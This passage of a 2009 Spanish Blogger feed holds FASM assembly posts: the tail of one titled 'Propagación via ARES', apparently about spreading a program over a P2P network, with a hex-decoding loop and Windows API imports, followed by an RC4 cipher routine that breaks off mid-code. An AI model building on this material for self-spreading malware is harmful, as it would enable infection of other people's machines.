127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;16&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;div&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;edi&lt;span style="color: rgb(0, 0, 255);"&gt;+1&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; &amp;gt;= &lt;span style="color: rgb(127, 0, 127);"&gt;'A'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;9&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endif&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;cl&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;dec&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cCantidad&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jmp&lt;/span&gt;  &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;salir &lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;popad&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br /&gt;section &lt;span style="color: rgb(127, 0, 127);"&gt;'.idata'&lt;/span&gt; import &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;data&lt;/span&gt; readable&lt;br /&gt;library shlwapi&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;'shlwapi.dll'&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;kernel32&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;'kernel32.dll'&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;advapi32&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;'advapi32.dll'&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;user32&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;'user32.dll'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;include&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;'api/kernel32.inc'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;include&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;'api/advapi32.inc'&lt;/span&gt;&lt;br /&gt; import shlwapi&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;PathFileExists&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;'PathFileExistsA'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;include&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;'api/user32.inc'&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/525026250660735124-2691889114964886662?l=diariodeyst.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://diariodeyst.blogspot.com/feeds/2691889114964886662/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=525026250660735124&amp;postID=2691889114964886662&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default/2691889114964886662'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default/2691889114964886662'/><link rel='alternate' type='text/html' href='http://diariodeyst.blogspot.com/2009/06/propagacion-via-ares.html' title='Propagación via ARES'/><author><name>YST</name><uri>http://www.blogger.com/profile/06921749862062454422</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-525026250660735124.post-2033325669487847408</id><published>2009-06-25T15:55:00.000-07:00</published><updated>2009-06-25T15:56:55.664-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ASM'/><title type='text'>RC4</title><content type='html'>&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;include&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;'win32ax.inc'&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;data&lt;/span&gt;&lt;br&gt;cBuffer &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;db&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;'Hello world'&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;cPassword &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;db&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;'Password'&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;code&lt;/span&gt;&lt;br&gt;start&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; Len&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cPassword&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; Len&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cBuffer&lt;br&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; RC4&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cBuffer&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cPassword&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; MessageBox&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cBuffer&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; ExitProcess&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; RC4&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;pBuffer&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;pPassword&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;pTamñoBuffer&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;pTamPass&lt;br&gt;locals&lt;br&gt;s rb MAX_PATH&lt;br&gt;endl&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pushad&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;dec&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;pTamñoBuffer&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; &amp;nbsp; For i = 0 To 255&lt;/span&gt;&lt;br&gt; &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; DoEvents&lt;/span&gt;&lt;br&gt; &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; s(i) = i&lt;/span&gt;&lt;br&gt; &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; &amp;nbsp; Next i&lt;/span&gt;&lt;br&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;lea&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;s&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;256&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle1_&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;bl&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;eax&lt;span style="color: rgb(0, 0, 255);"&gt;-1&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;bl&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &amp;nbsp;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;bl&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;loop&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle1_&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; &amp;nbsp; &amp;nbsp;For i = 0 To 255&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;DoEvents&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;j = (j + s(i) + Key(i Mod Len(sKey))) Mod 256&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;tmp = s(i)&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;s(i) = s(j)&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;s(j) = tmp&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; &amp;nbsp; &amp;nbsp;Next i&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;j = ebx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;ja = esi&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;I = edi&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;xor&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;-1&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle2_&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;xor&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;movzx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;s&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; lMod&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;pTamPass&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;pPassword&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;movzx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; lMod&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;256&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;lea&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;s&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;cl&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; s(j)&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ch&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; s(i)&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;cl&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ch&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;255&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jne&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle2_&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;br&gt; &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; &amp;nbsp; For l = 0 To UBound(Buffer)&lt;/span&gt;&lt;br&gt; &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; &amp;nbsp; &amp;nbsp; &amp;nbsp; DoEvents&lt;/span&gt;&lt;br&gt; &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; &amp;nbsp; &amp;nbsp; &amp;nbsp; i = (i + 1) Mod 256&lt;/span&gt;&lt;br&gt; &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; &amp;nbsp; &amp;nbsp; &amp;nbsp; j = (j + s(i)) Mod 256&lt;/span&gt;&lt;br&gt; &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; &amp;nbsp; &amp;nbsp; &amp;nbsp; tmp = s(i)&lt;/span&gt;&lt;br&gt; &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; &amp;nbsp; &amp;nbsp; &amp;nbsp; s(i) = s(j)&lt;/span&gt;&lt;br&gt; &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; &amp;nbsp; &amp;nbsp; &amp;nbsp; s(j) = tmp&lt;/span&gt;&lt;br&gt; &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; &amp;nbsp; &amp;nbsp; &amp;nbsp; Buffer(l) = Buffer(l) Xor (s((s(i) + s(j)) Mod 256))&lt;/span&gt;&lt;br&gt; &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; &amp;nbsp; Next l&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;xor&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt; &amp;nbsp;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;esi = l&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: 